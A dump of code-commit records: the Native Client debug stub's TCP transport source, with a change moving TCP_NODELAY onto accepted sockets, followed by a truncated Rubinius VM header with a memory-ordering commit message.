NACL_WINDOWS\n HANDLE handles[2];\n handles[0] = nap->faulted_thread_event;\n handles[1] = socket_event_;\n int count = size_ < kBufSize ? 2 : 1;\n int result = WaitForMultipleObjects(count, handles, FALSE,\n wait ? INFINITE : 0);\n if (result == WAIT_OBJECT_0 + 1) {\n if (!ResetEvent(socket_event_)) {\n NaClLog(LOG_FATAL,\n \"Transport::WaitForDebugStubEvent: \"\n \"Failed to reset socket event\\n\");\n }\n return;\n }\n if (result == WAIT_TIMEOUT || result == WAIT_OBJECT_0)\n return;\n NaClLog(LOG_FATAL,\n \"Transport::WaitForDebugStubEvent: Wait for events failed\\n\");\n#else\n fd_set fds;\n\n FD_ZERO(&fds);\n FD_SET(nap->faulted_thread_fd_read, &fds);\n int max_fd = nap->faulted_thread_fd_read;\n if (size_ < kBufSize) {\n FD_SET(handle_, &fds);\n max_fd = std::max(max_fd, handle_);\n }\n\n int ret;\n \/\/ We don't need sleep-polling on Linux now, so we set either zero or infinite\n \/\/ timeout.\n if (wait) {\n ret = select(max_fd + 1, &fds, NULL, NULL, NULL);\n } else {\n struct timeval timeout;\n timeout.tv_sec = 0;\n timeout.tv_usec = 0;\n ret = select(max_fd + 1, &fds, NULL, NULL, &timeout);\n }\n if (ret < 0) {\n NaClLog(LOG_FATAL,\n \"Transport::WaitForDebugStubEvent: Failed to wait for \"\n \"debug stub event\\n\");\n }\n\n if (ret > 0) {\n if (FD_ISSET(nap->faulted_thread_fd_read, &fds)) {\n char buf[16];\n if (read(nap->faulted_thread_fd_read, &buf, sizeof(buf)) < 0) {\n NaClLog(LOG_FATAL,\n \"Transport::WaitForDebugStubEvent: Failed to read from \"\n \"debug stub event pipe fd\\n\");\n }\n }\n if (FD_ISSET(handle_, &fds))\n ReadSomeData();\n }\n#endif\n}\n\n\/\/ Convert string in the form of [addr][:port] where addr is a\n\/\/ IPv4 address or host name, and port is a 16b tcp\/udp port.\n\/\/ Both portions are optional, and only the portion of the address\n\/\/ provided is updated. Values are provided in network order.\nstatic bool StringToIPv4(const std::string &instr, uint32_t *addr,\n uint16_t *port) {\n \/\/ Make a copy so the are unchanged unless we succeed\n uint32_t outaddr = *addr;\n uint16_t outport = *port;\n\n \/\/ Substrings of the full ADDR:PORT\n std::string addrstr;\n std::string portstr;\n\n \/\/ We should either have one or two tokens in the form of:\n \/\/ IP - IP, NUL\n \/\/ IP: - IP, NUL\n \/\/ :PORT - NUL, PORT\n \/\/ IP:PORT - IP, PORT\n\n \/\/ Search for the port marker\n size_t portoff = instr.find(':');\n\n \/\/ If we found a \":\" before the end, get both substrings\n if ((portoff != std::string::npos) && (portoff + 1 < instr.size())) {\n addrstr = instr.substr(0, portoff);\n portstr = instr.substr(portoff + 1, std::string::npos);\n } else {\n \/\/ otherwise the entire string is the addr portion.\n addrstr = instr;\n portstr = \"\";\n }\n\n \/\/ If the address portion was provided, update it\n if (addrstr.size()) {\n \/\/ Special case 0.0.0.0 which means any IPv4 interface\n if (addrstr == \"0.0.0.0\") {\n outaddr = 0;\n } else {\n struct hostent *host = gethostbyname(addrstr.data());\n\n \/\/ Check that we found an IPv4 host\n if ((NULL == host) || (AF_INET != host->h_addrtype)) return false;\n\n \/\/ Make sure the IP list isn't empty.\n if (0 == host->h_addr_list[0]) return false;\n\n \/\/ Use the first address in the array of address pointers.\n uint32_t **addrarray = reinterpret_cast<uint32_t**>(host->h_addr_list);\n outaddr = *addrarray[0];\n }\n }\n\n \/\/ if the port portion was provided, then update it\n if (portstr.size()) {\n int val = atoi(portstr.data());\n if ((val < 0) || (val > 65535)) return false;\n outport = ntohs(static_cast<uint16_t>(val));\n }\n\n \/\/ We haven't failed, so set the values\n *addr = outaddr;\n *port = outport;\n return true;\n}\n\nstatic bool BuildSockAddr(const char *addr, struct sockaddr_in *sockaddr) {\n std::string addrstr = addr;\n uint32_t *pip = reinterpret_cast<uint32_t*>(&sockaddr->sin_addr.s_addr);\n uint16_t *pport = reinterpret_cast<uint16_t*>(&sockaddr->sin_port);\n\n sockaddr->sin_family = AF_INET;\n return StringToIPv4(addrstr, pip, pport);\n}\n\nSocketBinding::SocketBinding(NaClSocketHandle socket_handle)\n : socket_handle_(socket_handle) {\n}\n\nSocketBinding *SocketBinding::Bind(const char *addr) {\n NaClSocketHandle socket_handle = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n if (socket_handle == NACL_INVALID_SOCKET) {\n NaClLog(LOG_ERROR, \"Failed to create socket.\\n\");\n return NULL;\n }\n struct sockaddr_in saddr;\n \/\/ Clearing sockaddr_in first appears to be necessary on Mac OS X.\n memset(&saddr, 0, sizeof(saddr));\n socklen_t addrlen = static_cast<socklen_t>(sizeof(saddr));\n saddr.sin_family = AF_INET;\n saddr.sin_addr.s_addr = htonl(0x7F000001);\n saddr.sin_port = htons(4014);\n\n \/\/ Override portions address that are provided\n if (addr) BuildSockAddr(addr, &saddr);\n\n \/\/ This is necessary to ensure that the TCP port is released\n \/\/ promptly when sel_ldr exits. Without this, the TCP port might\n \/\/ only be released after a timeout, and later processes can fail\n \/\/ to bind it.\n int reuse_address = 1;\n if (setsockopt(socket_handle, SOL_SOCKET, SO_REUSEADDR,\n reinterpret_cast<char *>(&reuse_address),\n sizeof(reuse_address))) {\n NaClLog(LOG_WARNING, \"Failed to set SO_REUSEADDR option.\\n\");\n }\n \/\/ Do not delay sending small packets. This significantly speeds up\n \/\/ remote debugging. Debug stub uses buffering to send outgoing packets so\n \/\/ they are not split into more TCP packets than necessary.\n int nodelay = 1;\n if (setsockopt(socket_handle, IPPROTO_TCP, TCP_NODELAY,\n reinterpret_cast<char *>(&nodelay),\n sizeof(nodelay))) {\n NaClLog(LOG_WARNING, \"Failed to set TCP_NODELAY option.\\n\");\n }\n\n struct sockaddr *psaddr = reinterpret_cast<struct sockaddr *>(&saddr);\n if (bind(socket_handle, psaddr, addrlen)) {\n NaClLog(LOG_ERROR, \"Failed to bind server.\\n\");\n return NULL;\n }\n\n if (listen(socket_handle, 1)) {\n NaClLog(LOG_ERROR, \"Failed to listen.\\n\");\n return NULL;\n }\n return new SocketBinding(socket_handle);\n}\n\nITransport *SocketBinding::AcceptConnection() {\n NaClSocketHandle socket = ::accept(socket_handle_, NULL, 0);\n if (socket != NACL_INVALID_SOCKET)\n return new Transport(socket);\n return NULL;\n}\n\n} \/\/ namespace port\n<commit_msg>Debug stub: Set NODELAY on NaCl debug TCP socket<commit_after>\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <errno.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include <algorithm>\n#include <string>\n\n#include \"native_client\/src\/include\/nacl_scoped_ptr.h\"\n#include \"native_client\/src\/include\/portability_sockets.h\"\n#include \"native_client\/src\/shared\/platform\/nacl_log.h\"\n#include \"native_client\/src\/trusted\/debug_stub\/platform.h\"\n#include \"native_client\/src\/trusted\/debug_stub\/transport.h\"\n#include \"native_client\/src\/trusted\/debug_stub\/util.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/sel_ldr.h\"\n\nusing gdb_rsp::stringvec;\nusing gdb_rsp::StringSplit;\n\nnamespace port {\n\ntypedef int socklen_t;\n\nclass Transport : public ITransport {\n public:\n Transport()\n : buf_(new char[kBufSize]),\n pos_(0),\n size_(0) {\n handle_ = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n#if NACL_WINDOWS\n CreateSocketEvent();\n#endif\n }\n\n explicit Transport(NaClSocketHandle s)\n : buf_(new char[kBufSize]),\n pos_(0),\n size_(0),\n handle_(s) {\n#if NACL_WINDOWS\n CreateSocketEvent();\n#endif\n }\n\n ~Transport() {\n if (handle_ != NACL_INVALID_SOCKET) NaClCloseSocket(handle_);\n#if NACL_WINDOWS\n if (!WSACloseEvent(socket_event_)) {\n NaClLog(LOG_FATAL,\n \"Transport::~Transport: Failed to close socket event\\n\");\n }\n#endif\n }\n\n#if NACL_WINDOWS\n void CreateSocketEvent() {\n socket_event_ = WSACreateEvent();\n if (socket_event_ == WSA_INVALID_EVENT) {\n NaClLog(LOG_FATAL,\n \"Transport::CreateSocketEvent: Failed to create socket event\\n\");\n }\n if (WSAEventSelect(handle_, socket_event_, FD_READ) == SOCKET_ERROR) {\n NaClLog(LOG_FATAL,\n \"Transport::CreateSocketEvent: Failed to bind event to socket\\n\");\n }\n }\n#endif\n\n \/\/ Read from this transport, return true on success.\n virtual bool Read(void *ptr, int32_t len);\n\n \/\/ Write to this transport, return true on success.\n virtual bool Write(const void *ptr, int32_t len);\n\n \/\/ Return true if there is data to read.\n virtual bool IsDataAvailable() {\n if (pos_ < size_) {\n return true;\n }\n fd_set fds;\n\n FD_ZERO(&fds);\n FD_SET(handle_, &fds);\n\n \/\/ We want a \"non-blocking\" check\n struct timeval timeout;\n timeout.tv_sec = 0;\n timeout.tv_usec = 0;\n\n \/\/ Check if this file handle can select on read\n int cnt = select(static_cast<int>(handle_) + 1, &fds, 0, 0, &timeout);\n\n \/\/ If we are ready, or if there is an error. We return true\n \/\/ on error, to let the next IO request fail.\n if (cnt != 0) return true;\n\n return false;\n }\n\n virtual void WaitForDebugStubEvent(struct NaClApp *nap,\n bool ignore_input_from_gdb);\n\n\/\/ On windows, the header that defines this has other definition\n\/\/ colitions, so we define it outselves just in case\n#ifndef SD_BOTH\n#define SD_BOTH 2\n#endif\n\n virtual void Disconnect() {\n \/\/ Shutdown the conneciton in both diections. This should\n \/\/ always succeed, and nothing we can do if this fails.\n (void) ::shutdown(handle_, SD_BOTH);\n }\n\n protected:\n \/\/ Copy buffered data to *dst up to len bytes and update dst and len.\n void CopyFromBuffer(char **dst, int32_t *len);\n\n \/\/ Read available data from the socket. Return false on EOF or error.\n bool ReadSomeData();\n\n static const int kBufSize = 4096;\n nacl::scoped_array<char> buf_;\n int32_t pos_;\n int32_t size_;\n NaClSocketHandle handle_;\n#if NACL_WINDOWS\n HANDLE socket_event_;\n#endif\n};\n\nvoid Transport::CopyFromBuffer(char **dst, int32_t *len) {\n int32_t copy_bytes = std::min(*len, size_ - pos_);\n memcpy(*dst, buf_.get() + pos_, copy_bytes);\n pos_ += copy_bytes;\n *len -= copy_bytes;\n *dst += copy_bytes;\n}\n\nbool Transport::ReadSomeData() {\n while (true) {\n int result = ::recv(handle_, buf_.get() + size_, kBufSize - size_, 0);\n if (result > 0) {\n size_ += result;\n return true;\n }\n if (result == 0)\n return false;\n#if NACL_WINDOWS\n \/\/ WSAEventSelect sets socket to non-blocking mode. This is essential\n \/\/ for socket event notification to work, there is no workaround.\n \/\/ See remarks section at the page\n \/\/ http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms741576(v=vs.85).aspx\n if (NaClSocketGetLastError() == WSAEWOULDBLOCK) {\n if (WaitForSingleObject(socket_event_, INFINITE) == WAIT_FAILED) {\n NaClLog(LOG_FATAL,\n \"Transport::ReadSomeData: Failed to wait on socket event\\n\");\n }\n if (!ResetEvent(socket_event_)) {\n NaClLog(LOG_FATAL,\n \"Transport::ReadSomeData: Failed to reset socket event\\n\");\n }\n continue;\n }\n#endif\n if (NaClSocketGetLastError() != EINTR)\n return false;\n }\n}\n\nbool Transport::Read(void *ptr, int32_t len) {\n char *dst = static_cast<char *>(ptr);\n if (pos_ < size_) {\n CopyFromBuffer(&dst, &len);\n }\n while (len > 0) {\n pos_ = 0;\n size_ = 0;\n if (!ReadSomeData()) {\n return false;\n }\n CopyFromBuffer(&dst, &len);\n }\n return true;\n}\n\nbool Transport::Write(const void *ptr, int32_t len) {\n const char *src = static_cast<const char *>(ptr);\n while (len > 0) {\n int result = ::send(handle_, src, len, 0);\n if (result > 0) {\n src += result;\n len -= result;\n continue;\n }\n if (result == 0) {\n return false;\n }\n if (NaClSocketGetLastError() != EINTR) {\n return false;\n }\n }\n return true;\n}\n\nvoid Transport::WaitForDebugStubEvent(struct NaClApp *nap,\n bool ignore_input_from_gdb) {\n bool wait = true;\n \/\/ If we are told to ignore messages from gdb, we will exit from this\n \/\/ function only if new data is sent by gdb.\n if ((pos_ < size_ && !ignore_input_from_gdb) ||\n nap->faulted_thread_count > 0) {\n \/\/ Clear faulted thread events to save debug stub loop iterations.\n wait = false;\n }\n#if NACL_WINDOWS\n HANDLE handles[2];\n handles[0] = nap->faulted_thread_event;\n handles[1] = socket_event_;\n int count = size_ < kBufSize ? 2 : 1;\n int result = WaitForMultipleObjects(count, handles, FALSE,\n wait ? INFINITE : 0);\n if (result == WAIT_OBJECT_0 + 1) {\n if (!ResetEvent(socket_event_)) {\n NaClLog(LOG_FATAL,\n \"Transport::WaitForDebugStubEvent: \"\n \"Failed to reset socket event\\n\");\n }\n return;\n }\n if (result == WAIT_TIMEOUT || result == WAIT_OBJECT_0)\n return;\n NaClLog(LOG_FATAL,\n \"Transport::WaitForDebugStubEvent: Wait for events failed\\n\");\n#else\n fd_set fds;\n\n FD_ZERO(&fds);\n FD_SET(nap->faulted_thread_fd_read, &fds);\n int max_fd = nap->faulted_thread_fd_read;\n if (size_ < kBufSize) {\n FD_SET(handle_, &fds);\n max_fd = std::max(max_fd, handle_);\n }\n\n int ret;\n \/\/ We don't need sleep-polling on Linux now, so we set either zero or infinite\n \/\/ timeout.\n if (wait) {\n ret = select(max_fd + 1, &fds, NULL, NULL, NULL);\n } else {\n struct timeval timeout;\n timeout.tv_sec = 0;\n timeout.tv_usec = 0;\n ret = select(max_fd + 1, &fds, NULL, NULL, &timeout);\n }\n if (ret < 0) {\n NaClLog(LOG_FATAL,\n \"Transport::WaitForDebugStubEvent: Failed to wait for \"\n \"debug stub event\\n\");\n }\n\n if (ret > 0) {\n if (FD_ISSET(nap->faulted_thread_fd_read, &fds)) {\n char buf[16];\n if (read(nap->faulted_thread_fd_read, &buf, sizeof(buf)) < 0) {\n NaClLog(LOG_FATAL,\n \"Transport::WaitForDebugStubEvent: Failed to read from \"\n \"debug stub event pipe fd\\n\");\n }\n }\n if (FD_ISSET(handle_, &fds))\n ReadSomeData();\n }\n#endif\n}\n\n\/\/ Convert string in the form of [addr][:port] where addr is a\n\/\/ IPv4 address or host name, and port is a 16b tcp\/udp port.\n\/\/ Both portions are optional, and only the portion of the address\n\/\/ provided is updated. Values are provided in network order.\nstatic bool StringToIPv4(const std::string &instr, uint32_t *addr,\n uint16_t *port) {\n \/\/ Make a copy so the are unchanged unless we succeed\n uint32_t outaddr = *addr;\n uint16_t outport = *port;\n\n \/\/ Substrings of the full ADDR:PORT\n std::string addrstr;\n std::string portstr;\n\n \/\/ We should either have one or two tokens in the form of:\n \/\/ IP - IP, NUL\n \/\/ IP: - IP, NUL\n \/\/ :PORT - NUL, PORT\n \/\/ IP:PORT - IP, PORT\n\n \/\/ Search for the port marker\n size_t portoff = instr.find(':');\n\n \/\/ If we found a \":\" before the end, get both substrings\n if ((portoff != std::string::npos) && (portoff + 1 < instr.size())) {\n addrstr = instr.substr(0, portoff);\n portstr = instr.substr(portoff + 1, std::string::npos);\n } else {\n \/\/ otherwise the entire string is the addr portion.\n addrstr = instr;\n portstr = \"\";\n }\n\n \/\/ If the address portion was provided, update it\n if (addrstr.size()) {\n \/\/ Special case 0.0.0.0 which means any IPv4 interface\n if (addrstr == \"0.0.0.0\") {\n outaddr = 0;\n } else {\n struct hostent *host = gethostbyname(addrstr.data());\n\n \/\/ Check that we found an IPv4 host\n if ((NULL == host) || (AF_INET != host->h_addrtype)) return false;\n\n \/\/ Make sure the IP list isn't empty.\n if (0 == host->h_addr_list[0]) return false;\n\n \/\/ Use the first address in the array of address pointers.\n uint32_t **addrarray = reinterpret_cast<uint32_t**>(host->h_addr_list);\n outaddr = *addrarray[0];\n }\n }\n\n \/\/ if the port portion was provided, then update it\n if (portstr.size()) {\n int val = atoi(portstr.data());\n if ((val < 0) || (val > 65535)) return false;\n outport = ntohs(static_cast<uint16_t>(val));\n }\n\n \/\/ We haven't failed, so set the values\n *addr = outaddr;\n *port = outport;\n return true;\n}\n\nstatic bool BuildSockAddr(const char *addr, struct sockaddr_in *sockaddr) {\n std::string addrstr = addr;\n uint32_t *pip = reinterpret_cast<uint32_t*>(&sockaddr->sin_addr.s_addr);\n uint16_t *pport = reinterpret_cast<uint16_t*>(&sockaddr->sin_port);\n\n sockaddr->sin_family = AF_INET;\n return StringToIPv4(addrstr, pip, pport);\n}\n\nSocketBinding::SocketBinding(NaClSocketHandle socket_handle)\n : socket_handle_(socket_handle) {\n}\n\nSocketBinding *SocketBinding::Bind(const char *addr) {\n NaClSocketHandle socket_handle = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n if (socket_handle == NACL_INVALID_SOCKET) {\n NaClLog(LOG_ERROR, \"Failed to create socket.\\n\");\n return NULL;\n }\n struct sockaddr_in saddr;\n \/\/ Clearing sockaddr_in first appears to be necessary on Mac OS X.\n memset(&saddr, 0, sizeof(saddr));\n socklen_t addrlen = static_cast<socklen_t>(sizeof(saddr));\n saddr.sin_family = AF_INET;\n saddr.sin_addr.s_addr = htonl(0x7F000001);\n saddr.sin_port = htons(4014);\n\n \/\/ Override portions address that are provided\n if (addr) BuildSockAddr(addr, &saddr);\n\n \/\/ This is necessary to ensure that the TCP port is released\n \/\/ promptly when sel_ldr exits. Without this, the TCP port might\n \/\/ only be released after a timeout, and later processes can fail\n \/\/ to bind it.\n int reuse_address = 1;\n if (setsockopt(socket_handle, SOL_SOCKET, SO_REUSEADDR,\n reinterpret_cast<char *>(&reuse_address),\n sizeof(reuse_address))) {\n NaClLog(LOG_WARNING, \"Failed to set SO_REUSEADDR option.\\n\");\n }\n\n struct sockaddr *psaddr = reinterpret_cast<struct sockaddr *>(&saddr);\n if (bind(socket_handle, psaddr, addrlen)) {\n NaClLog(LOG_ERROR, \"Failed to bind server.\\n\");\n return NULL;\n }\n\n if (listen(socket_handle, 1)) {\n NaClLog(LOG_ERROR, \"Failed to listen.\\n\");\n return NULL;\n }\n return new SocketBinding(socket_handle);\n}\n\nITransport *SocketBinding::AcceptConnection() {\n NaClSocketHandle socket = ::accept(socket_handle_, NULL, 0);\n if (socket != NACL_INVALID_SOCKET) {\n \/\/ Do not delay sending small packets. This significantly speeds up\n \/\/ remote debugging. Debug stub uses buffering to send outgoing packets so\n \/\/ they are not split into more TCP packets than necessary.\n int nodelay = 1;\n if (setsockopt(socket, IPPROTO_TCP, TCP_NODELAY,\n reinterpret_cast<char *>(&nodelay),\n sizeof(nodelay))) {\n NaClLog(LOG_WARNING, \"Failed to set TCP_NODELAY option.\\n\");\n }\n return new Transport(socket);\n }\n return NULL;\n}\n\n} \/\/ namespace port\n<|endoftext|>"} {"text":"<commit_before>#ifndef RBX_VM_H\n#define RBX_VM_H\n\n#include \"missing\/time.h\"\n\n#include \"globals.hpp\"\n#include \"memory\/object_mark.hpp\"\n#include \"memory\/managed.hpp\"\n#include \"vm_thread_state.hpp\"\n#include \"thread_nexus.hpp\"\n#include \"metrics.hpp\"\n\n#include \"util\/thread.hpp\"\n\n#include \"memory\/variable_buffer.hpp\"\n#include \"memory\/root_buffer.hpp\"\n#include \"memory\/slab.hpp\"\n\n#include \"shared_state.hpp\"\n\n#include \"unwind_info.hpp\"\n#include \"fiber_stack.hpp\"\n\n#include \"sodium\/randombytes.h\"\n\n#include <atomic>\n#include <vector>\n#include <setjmp.h>\n#include <stdint.h>\n\nnamespace llvm {\n class Module;\n}\n\nnamespace rbxti {\n class Env;\n}\n\nnamespace rubinius {\n\n class Exception;\n class LLVMState;\n\n namespace event {\n class Loop;\n }\n\n namespace memory {\n class GarbageCollector;\n class WriteBarrier;\n }\n\n class Assertion;\n class CallSiteInformation;\n class Channel;\n class CompiledCode;\n class ConfigParser;\n class Configuration;\n class Fiber;\n class GlobalCache;\n class LookupTable;\n class Memory;\n class NativeMethodEnvironment;\n class Object;\n class Park;\n class Primitives;\n class SharedState;\n class String;\n class Symbol;\n class SymbolTable;\n class Tuple;\n class TypeError;\n class TypeInfo;\n class VariableScope;\n\n struct CallFrame;\n\n enum MethodMissingReason {\n eNone, ePrivate, eProtected, eSuper, eVCall, eNormal\n };\n\n enum ConstantMissingReason {\n vFound, vPrivate, vNonExistent\n };\n\n \/**\n * Represents an execution context for running Ruby code.\n *\n * Each Ruby thread is backed by an instance of this class, as well as an\n * instance of the Thread class. Thread manages the (Ruby visible) thread-\n * related state, while this class manages the execution machinery for\n * running Ruby code.\n *\/\n\n class VM : public memory::ManagedThread {\n friend class State;\n\n private:\n UnwindInfoSet unwinds_;\n\n CallFrame* call_frame_;\n ThreadNexus* thread_nexus_;\n CallSiteInformation* saved_call_site_information_;\n FiberStacks fiber_stacks_;\n Park* park_;\n\n void* stack_start_;\n size_t stack_size_;\n size_t stack_cushion_;\n\n void* current_stack_start_;\n size_t current_stack_size_;\n\n bool interrupt_with_signal_;\n bool interrupt_by_kill_;\n bool check_local_interrupts_;\n bool thread_step_;\n\n utilities::thread::SpinLock interrupt_lock_;\n\n MethodMissingReason method_missing_reason_;\n ConstantMissingReason constant_missing_reason_;\n\n bool zombie_;\n bool allocation_tracking_;\n bool main_thread_;\n\n std::atomic<ThreadNexus::Phase> thread_phase_;\n\n uint32_t profile_interval_;\n uint32_t profile_counter_;\n CompiledCode** profile_;\n uint64_t profile_sample_count_;\n uint64_t profile_report_interval_;\n native_int max_profile_entries_;\n native_int min_profile_sample_count_;\n\n public:\n \/* Data members *\/\n SharedState& shared;\n memory::TypedRoot<Channel*> waiting_channel_;\n memory::TypedRoot<Exception*> interrupted_exception_;\n \/\/\/ The Thread object for this VM state\n memory::TypedRoot<Thread*> thread;\n\n \/\/\/ The current fiber running on this thread\n memory::TypedRoot<Fiber*> current_fiber;\n\n \/\/\/ Root fiber, if any (lazily initialized)\n memory::TypedRoot<Fiber*> root_fiber;\n\n \/\/\/ Object that waits for inflation\n memory::TypedRoot<Object*> waiting_object_;\n\n uint64_t start_time_;\n\n NativeMethodEnvironment* native_method_environment;\n\n void (*custom_wakeup_)(void*);\n void* custom_wakeup_data_;\n\n VMThreadState thread_state_;\n\n public: \/* Inline methods *\/\n\n UnwindInfoSet& unwinds() {\n return unwinds_;\n }\n\n uint32_t thread_id() const {\n return id_;\n }\n\n ThreadNexus::Phase thread_phase() {\n return thread_phase_;\n }\n\n ThreadNexus* thread_nexus() {\n return thread_nexus_;\n }\n\n void set_thread_phase(ThreadNexus::Phase thread_phase) {\n thread_phase_ = thread_phase;\n }\n\n utilities::thread::SpinLock& interrupt_lock() {\n return interrupt_lock_;\n }\n\n void set_zombie(STATE);\n\n bool zombie_p() {\n return zombie_;\n }\n\n void set_main_thread() {\n main_thread_ = true;\n }\n\n bool main_thread_p() {\n return main_thread_;\n }\n\n VMThreadState* thread_state() {\n return &thread_state_;\n }\n\n Memory* memory() {\n return shared.memory();\n }\n\n void set_start_time();\n double run_time();\n\n void raise_stack_error(STATE);\n void validate_stack_size(STATE, size_t size);\n\n size_t stack_size() {\n return current_stack_size_;\n }\n\n void restore_stack_bounds() {\n current_stack_start_ = stack_start_;\n current_stack_size_ = stack_size_;\n }\n\n void set_stack_bounds(void* start, size_t size) {\n current_stack_start_ = start;\n current_stack_size_ = size - stack_cushion_;\n }\n\n void set_stack_bounds(size_t size);\n\n bool check_stack(STATE, void* stack_address) {\n ssize_t stack_used =\n (reinterpret_cast<intptr_t>(current_stack_start_)\n - reinterpret_cast<intptr_t>(stack_address));\n\n if(stack_used < 0) stack_used = -stack_used;\n\n if(static_cast<size_t>(stack_used) > current_stack_size_) {\n raise_stack_error(state);\n return false;\n }\n\n return true;\n }\n\n bool push_call_frame(STATE, CallFrame* frame, CallFrame*& previous_frame);\n\n bool pop_call_frame(STATE, CallFrame* frame) {\n call_frame_ = frame;\n\n return !thread_interrupted_p(state);\n }\n\n bool thread_interrupted_p(STATE) {\n if(check_local_interrupts()) {\n return check_thread_raise_or_kill(state);\n }\n\n return false;\n }\n\n bool check_thread_raise_or_kill(STATE);\n\n \/\/ Do NOT de-duplicate\n void set_call_frame(CallFrame* frame) {\n call_frame_ = frame;\n }\n\n CallFrame* call_frame() {\n return call_frame_;\n }\n\n CallFrame* get_call_frame(ssize_t up=0);\n CallFrame* get_ruby_frame(ssize_t up=0);\n CallFrame* get_variables_frame(ssize_t up=0);\n CallFrame* get_scope_frame(ssize_t up=0);\n\n bool scope_valid_p(VariableScope* scope);\n\n void set_call_site_information(CallSiteInformation* info) {\n saved_call_site_information_ = info;\n }\n\n CallSiteInformation* saved_call_site_information() {\n return saved_call_site_information_;\n }\n\n GlobalCache* global_cache() const {\n return shared.global_cache;\n }\n\n Globals& globals() {\n return shared.globals;\n }\n\n MethodMissingReason method_missing_reason() const {\n return method_missing_reason_;\n }\n\n void set_method_missing_reason(MethodMissingReason reason) {\n method_missing_reason_ = reason;\n }\n\n ConstantMissingReason constant_missing_reason() const {\n return constant_missing_reason_;\n }\n\n void set_constant_missing_reason(ConstantMissingReason reason) {\n constant_missing_reason_ = reason;\n }\n\n void after_fork_child(STATE);\n\n bool thread_step() const {\n return thread_step_;\n }\n\n void clear_thread_step() {\n clear_check_local_interrupts();\n thread_step_ = false;\n }\n\n void set_thread_step() {\n set_check_local_interrupts();\n thread_step_ = true;\n }\n\n bool check_local_interrupts() const {\n return check_local_interrupts_;\n }\n\n void clear_check_local_interrupts() {\n check_local_interrupts_ = false;\n }\n\n void set_check_local_interrupts() {\n check_local_interrupts_ = true;\n }\n\n bool interrupt_by_kill() const {\n return interrupt_by_kill_;\n }\n\n void clear_interrupt_by_kill() {\n interrupt_by_kill_ = false;\n }\n\n void set_interrupt_by_kill() {\n interrupt_by_kill_ = true;\n }\n\n Exception* interrupted_exception() const {\n return interrupted_exception_.get();\n }\n\n void clear_interrupted_exception() {\n interrupted_exception_.set(cNil);\n }\n\n bool allocation_tracking() const {\n return allocation_tracking_;\n }\n\n void enable_allocation_tracking() {\n allocation_tracking_ = true;\n }\n\n void disable_allocation_tracking() {\n allocation_tracking_ = false;\n }\n\n FiberStack* allocate_fiber_stack(size_t stack_size) {\n return fiber_stacks_.allocate(stack_size);\n }\n\n void* fiber_trampoline() {\n return fiber_stacks_.trampoline();\n }\n\n FiberData* new_fiber_data(size_t stack_size, bool root=false) {\n return fiber_stacks_.new_data(stack_size, root);\n }\n\n void remove_fiber_data(FiberData* data) {\n fiber_stacks_.remove_data(data);\n }\n\n memory::VariableRootBuffers& current_root_buffers();\n\n public:\n static VM* current();\n\n static void discard(STATE, VM*);\n\n public:\n\n \/* Prototypes *\/\n VM(uint32_t id, SharedState& shared, const char* name = NULL);\n ~VM();\n\n void bootstrap_class(STATE);\n void bootstrap_ontology(STATE);\n void bootstrap_symbol(STATE);\n\n void collect_maybe(STATE);\n\n native_int max_profile_entries() {\n return max_profile_entries_;\n }\n\n uint64_t profile_sample_count() {\n return profile_sample_count_;\n }\n\n CompiledCode** profile() {\n return profile_;\n }\n\n void update_profile(STATE);\n void sort_profile();\n\n#define RBX_PROFILE_MAX_SHIFT 0xf\n#define RBX_PROFILE_MAX_INTERVAL 0x1fff\n\n void set_profile_interval() {\n profile_interval_ = randombytes_random();\n profile_interval_ >>= (profile_interval_ & RBX_PROFILE_MAX_SHIFT);\n profile_interval_ &= RBX_PROFILE_MAX_INTERVAL;\n profile_counter_ = 0;\n }\n\n void checkpoint(STATE) {\n metrics().machine.checkpoints++;\n\n if(thread_nexus_->try_lock(this)) {\n metrics().machine.stops++;\n\n collect_maybe(state);\n\n thread_nexus_->unlock();\n }\n\n if(profile_counter_++ >= profile_interval_) {\n update_profile(state);\n set_profile_interval();\n }\n }\n\n void blocking_suspend(STATE, metrics::metric& counter);\n void sleeping_suspend(STATE, metrics::metric& counter);\n\n void blocking_phase() {\n thread_nexus_->blocking_phase(this);\n }\n\n void managed_phase() {\n thread_nexus_->managed_phase(this);\n }\n\n void unmanaged_phase() {\n thread_nexus_->unmanaged_phase(this);\n }\n\n void set_current_thread();\n\n void setup_errno(STATE, int num, const char* name, Class* sce, Module* ern);\n void bootstrap_exceptions(STATE);\n void initialize_fundamental_constants(STATE);\n void initialize_builtin_classes(STATE);\n void initialize_platform_data(STATE);\n Object* ruby_lib_version();\n\n void set_current_fiber(Fiber* fib);\n\n TypeInfo* find_type(int type);\n\n static void init_ffi(STATE);\n\n void raise_from_errno(const char* reason);\n void raise_exception(Exception* exc);\n Exception* new_exception(Class* cls, const char* msg);\n Object* current_block();\n\n void set_const(const char* name, Object* val);\n void set_const(Module* mod, const char* name, Object* val);\n\n Object* path2class(const char* name);\n\n llvm::Module* llvm_module();\n void llvm_cleanup();\n\n void print_backtrace();\n\n void wait_on_channel(Channel* channel);\n void wait_on_inflated_lock(Object* wait);\n void wait_on_custom_function(void (*func)(void*), void* data);\n void clear_waiter();\n bool wakeup(STATE);\n\n void reset_parked();\n\n void set_sleeping();\n void clear_sleeping();\n\n void interrupt_with_signal() {\n interrupt_with_signal_ = true;\n }\n\n void register_raise(STATE, Exception* exc);\n void register_kill(STATE);\n\n void gc_scan(memory::GarbageCollector* gc);\n void gc_fiber_clear_mark();\n void gc_fiber_scan(memory::GarbageCollector* gc, bool only_marked = true);\n void gc_verify(memory::GarbageCollector* gc);\n };\n}\n\n#endif\n<commit_msg>Slightly relax memory ordering for ThreadNexus::Phase.<commit_after>#ifndef RBX_VM_H\n#define RBX_VM_H\n\n#include \"missing\/time.h\"\n\n#include \"globals.hpp\"\n#include \"memory\/object_mark.hpp\"\n#include \"memory\/managed.hpp\"\n#include \"vm_thread_state.hpp\"\n#include \"thread_nexus.hpp\"\n#include \"metrics.hpp\"\n\n#include \"util\/thread.hpp\"\n\n#include \"memory\/variable_buffer.hpp\"\n#include \"memory\/root_buffer.hpp\"\n#include 